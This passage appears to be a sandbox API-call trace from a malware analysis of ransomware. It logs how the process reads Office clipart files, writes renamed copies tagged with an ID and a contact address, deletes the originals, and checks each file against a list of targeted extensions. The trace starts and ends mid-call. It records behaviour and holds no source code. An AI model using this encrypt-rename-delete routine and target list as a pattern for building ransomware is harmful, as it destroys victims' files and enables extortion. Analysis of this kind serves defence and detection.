office\\root\\clipart\\pub60cor\\prrt.wmf")) returned 0x220 [0180.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PRRT.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\prrt.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PRRT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\prrt.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0180.096] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.096] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PRRT.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\prrt.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0180.100] GetLastError () returned 0x0 [0180.100] ReadFile (in: hFile=0x39c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0xef6, lpOverlapped=0x0) returned 1 [0180.103] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xf00, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xf00, lpOverlapped=0x0) returned 1 [0180.103] ReadFile (in: hFile=0x39c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0180.103] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xe4, lpOverlapped=0x0) returned 1 [0180.103] SetEndOfFile (hFile=0x368) returned 1 [0180.105] CloseHandle (hObject=0x368) returned 1 [0180.106] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.106] SetEndOfFile (hFile=0x39c) returned 1 [0180.108] CloseHandle (hObject=0x39c) returned 1 [0180.111] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PRRT.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.111] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PRRT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\prrt.wmf")) returned 1 [0180.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PRRT.WMF") returned 64 [0180.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PRRT.WMF") returned 64 [0180.113] lstrlenW (lpString=".doc") returned 4 [0180.113] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.113] lstrlenW (lpString=".docx") returned 5 [0180.113] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0180.113] lstrlenW (lpString=".pdf") returned 4 [0180.113] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.113] lstrlenW (lpString=".xls") returned 4 [0180.113] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.113] lstrlenW (lpString=".xlsx") returned 5 [0180.113] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0180.113] lstrlenW (lpString=".ppt") returned 4 [0180.113] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PRRT.WMF") returned 64 [0180.113] lstrlenW (lpString=".zip") returned 4 [0180.113] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.113] lstrlenW (lpString=".rar") returned 4 [0180.113] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.113] lstrlenW (lpString=".bz2") returned 4 [0180.113] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.113] lstrlenW (lpString=".7z") returned 3 [0180.113] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PRRT.WMF") returned 64 [0180.113] lstrlenW (lpString=".dbf") returned 4 [0180.113] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PRRT.WMF") returned 64 [0180.113] lstrlenW (lpString=".1cd") returned 4 [0180.113] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PRRT.WMF") returned 64 [0180.114] lstrlenW (lpString=".jpg") returned 4 [0180.114] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PRRT.WMF") returned 64 [0180.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PRRT.WMF") returned 64 [0180.114] lstrlenW (lpString=".doc") returned 4 [0180.114] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.114] lstrlenW (lpString=".docx") returned 5 [0180.114] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0180.114] lstrlenW (lpString=".pdf") returned 4 [0180.114] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.114] lstrlenW (lpString=".xls") returned 4 [0180.114] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.114] lstrlenW (lpString=".xlsx") returned 5 [0180.114] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0180.114] lstrlenW (lpString=".ppt") returned 4 [0180.114] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PRRT.WMF") returned 64 [0180.114] lstrlenW (lpString=".zip") returned 4 [0180.114] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.114] lstrlenW (lpString=".rar") returned 4 [0180.114] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.114] lstrlenW (lpString=".bz2") returned 4 [0180.114] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.114] lstrlenW (lpString=".7z") returned 3 [0180.114] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PRRT.WMF") returned 64 [0180.114] lstrlenW (lpString=".dbf") returned 4 [0180.114] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PRRT.WMF") returned 64 [0180.114] lstrlenW (lpString=".1cd") returned 4 [0180.114] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PRRT.WMF") returned 64 [0180.114] lstrlenW (lpString=".jpg") returned 4 [0180.114] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.114] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.114] lstrlenW (lpString="PSSKETSM.WMF") returned 12 [0180.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSSKETSM.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pssketsm.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0180.116] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=1910) returned 1 [0180.116] CloseHandle (hObject=0x368) returned 1 [0180.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSSKETSM.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pssketsm.wmf")) returned 0x220 [0180.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSSKETSM.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pssketsm.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSSKETSM.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pssketsm.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0180.122] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.122] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSSKETSM.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pssketsm.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0180.125] GetLastError () returned 0x0 [0180.125] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x776, lpOverlapped=0x0) returned 1 [0180.126] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x780, lpOverlapped=0x0) returned 1 [0180.127] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0180.127] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0180.127] SetEndOfFile (hFile=0x300) returned 1 [0180.128] CloseHandle (hObject=0x300) returned 1 [0180.130] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.130] SetEndOfFile (hFile=0x370) returned 1 [0180.133] CloseHandle (hObject=0x370) returned 1 [0180.134] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSSKETSM.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.134] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSSKETSM.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pssketsm.wmf")) returned 1 [0180.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSSKETSM.WMF") returned 68 [0180.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSSKETSM.WMF") returned 68 [0180.135] lstrlenW (lpString=".doc") returned 4 [0180.135] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.135] lstrlenW (lpString=".docx") returned 5 [0180.135] lstrcmpiW (lpString1=".docx", lpString2="M.WMF") returned -1 [0180.135] lstrlenW (lpString=".pdf") returned 4 [0180.135] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.135] lstrlenW (lpString=".xls") returned 4 [0180.135] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.135] lstrlenW (lpString=".xlsx") returned 5 [0180.135] lstrcmpiW (lpString1=".xlsx", lpString2="M.WMF") returned -1 [0180.136] lstrlenW (lpString=".ppt") returned 4 [0180.136] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSSKETSM.WMF") returned 68 [0180.136] lstrlenW (lpString=".zip") returned 4 [0180.136] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.136] lstrlenW (lpString=".rar") returned 4 [0180.136] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.136] lstrlenW (lpString=".bz2") returned 4 [0180.136] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.136] lstrlenW (lpString=".7z") returned 3 [0180.136] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSSKETSM.WMF") returned 68 [0180.136] lstrlenW (lpString=".dbf") returned 4 [0180.136] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSSKETSM.WMF") returned 68 [0180.136] lstrlenW (lpString=".1cd") returned 4 [0180.136] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSSKETSM.WMF") returned 68 [0180.136] lstrlenW (lpString=".jpg") returned 4 [0180.136] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSSKETSM.WMF") returned 68 [0180.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSSKETSM.WMF") returned 68 [0180.136] lstrlenW (lpString=".doc") returned 4 [0180.136] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.136] lstrlenW (lpString=".docx") returned 5 [0180.136] lstrcmpiW (lpString1=".docx", lpString2="M.WMF") returned -1 [0180.136] lstrlenW (lpString=".pdf") returned 4 [0180.136] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.136] lstrlenW (lpString=".xls") returned 4 [0180.136] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.136] lstrlenW (lpString=".xlsx") returned 5 [0180.136] lstrcmpiW (lpString1=".xlsx", lpString2="M.WMF") returned -1 [0180.136] lstrlenW (lpString=".ppt") returned 4 [0180.136] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSSKETSM.WMF") returned 68 [0180.136] lstrlenW (lpString=".zip") returned 4 [0180.136] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.136] lstrlenW (lpString=".rar") returned 4 [0180.136] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.136] lstrlenW (lpString=".bz2") returned 4 [0180.136] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.136] lstrlenW (lpString=".7z") returned 3 [0180.136] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSSKETSM.WMF") returned 68 [0180.136] lstrlenW (lpString=".dbf") returned 4 [0180.136] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSSKETSM.WMF") returned 68 [0180.137] lstrlenW (lpString=".1cd") returned 4 [0180.137] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSSKETSM.WMF") returned 68 [0180.137] lstrlenW (lpString=".jpg") returned 4 [0180.137] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.137] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.137] lstrlenW (lpString="SL00256_.WMF") returned 12 [0180.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00256_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0180.139] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=10762) returned 1 [0180.139] CloseHandle (hObject=0x368) returned 1 [0180.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00256_.wmf")) returned 0x220 [0180.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00256_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00256_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00256_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0180.141] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.141] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00256_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00256_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0180.148] GetLastError () returned 0x0 [0180.148] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x2a0a, lpOverlapped=0x0) returned 1 [0180.150] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x2a10, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2a10, lpOverlapped=0x0) returned 1 [0180.151] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0180.151] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0180.151] SetEndOfFile (hFile=0x2fc) returned 1 [0180.152] CloseHandle (hObject=0x2fc) returned 1 [0180.154] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.154] SetEndOfFile (hFile=0x370) returned 1 [0180.160] CloseHandle (hObject=0x370) returned 1 [0180.160] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00256_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.161] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00256_.wmf")) returned 1 [0180.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00256_.WMF") returned 68 [0180.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00256_.WMF") returned 68 [0180.162] lstrlenW (lpString=".doc") returned 4 [0180.162] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.162] lstrlenW (lpString=".docx") returned 5 [0180.162] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.162] lstrlenW (lpString=".pdf") returned 4 [0180.162] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.162] lstrlenW (lpString=".xls") returned 4 [0180.162] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.162] lstrlenW (lpString=".xlsx") returned 5 [0180.162] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.162] lstrlenW (lpString=".ppt") returned 4 [0180.162] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00256_.WMF") returned 68 [0180.162] lstrlenW (lpString=".zip") returned 4 [0180.162] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.162] lstrlenW (lpString=".rar") returned 4 [0180.162] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.162] lstrlenW (lpString=".bz2") returned 4 [0180.162] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.162] lstrlenW (lpString=".7z") returned 3 [0180.162] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00256_.WMF") returned 68 [0180.163] lstrlenW (lpString=".dbf") returned 4 [0180.163] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00256_.WMF") returned 68 [0180.163] lstrlenW (lpString=".1cd") returned 4 [0180.163] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00256_.WMF") returned 68 [0180.163] lstrlenW (lpString=".jpg") returned 4 [0180.163] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00256_.WMF") returned 68 [0180.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00256_.WMF") returned 68 [0180.163] lstrlenW (lpString=".doc") returned 4 [0180.163] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.163] lstrlenW (lpString=".docx") returned 5 [0180.163] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.163] lstrlenW (lpString=".pdf") returned 4 [0180.163] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.163] lstrlenW (lpString=".xls") returned 4 [0180.163] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.163] lstrlenW (lpString=".xlsx") returned 5 [0180.163] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.163] lstrlenW (lpString=".ppt") returned 4 [0180.163] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00256_.WMF") returned 68 [0180.163] lstrlenW (lpString=".zip") returned 4 [0180.163] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.163] lstrlenW (lpString=".rar") returned 4 [0180.163] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.163] lstrlenW (lpString=".bz2") returned 4 [0180.163] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.163] lstrlenW (lpString=".7z") returned 3 [0180.163] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00256_.WMF") returned 68 [0180.163] lstrlenW (lpString=".dbf") returned 4 [0180.163] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00256_.WMF") returned 68 [0180.163] lstrlenW (lpString=".1cd") returned 4 [0180.163] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00256_.WMF") returned 68 [0180.163] lstrlenW (lpString=".jpg") returned 4 [0180.163] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.163] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.163] lstrlenW (lpString="SL00298_.WMF") returned 12 [0180.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00298_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0180.164] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=4712) returned 1 [0180.164] CloseHandle (hObject=0x3a4) returned 1 [0180.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00298_.wmf")) returned 0x220 [0180.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00298_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft 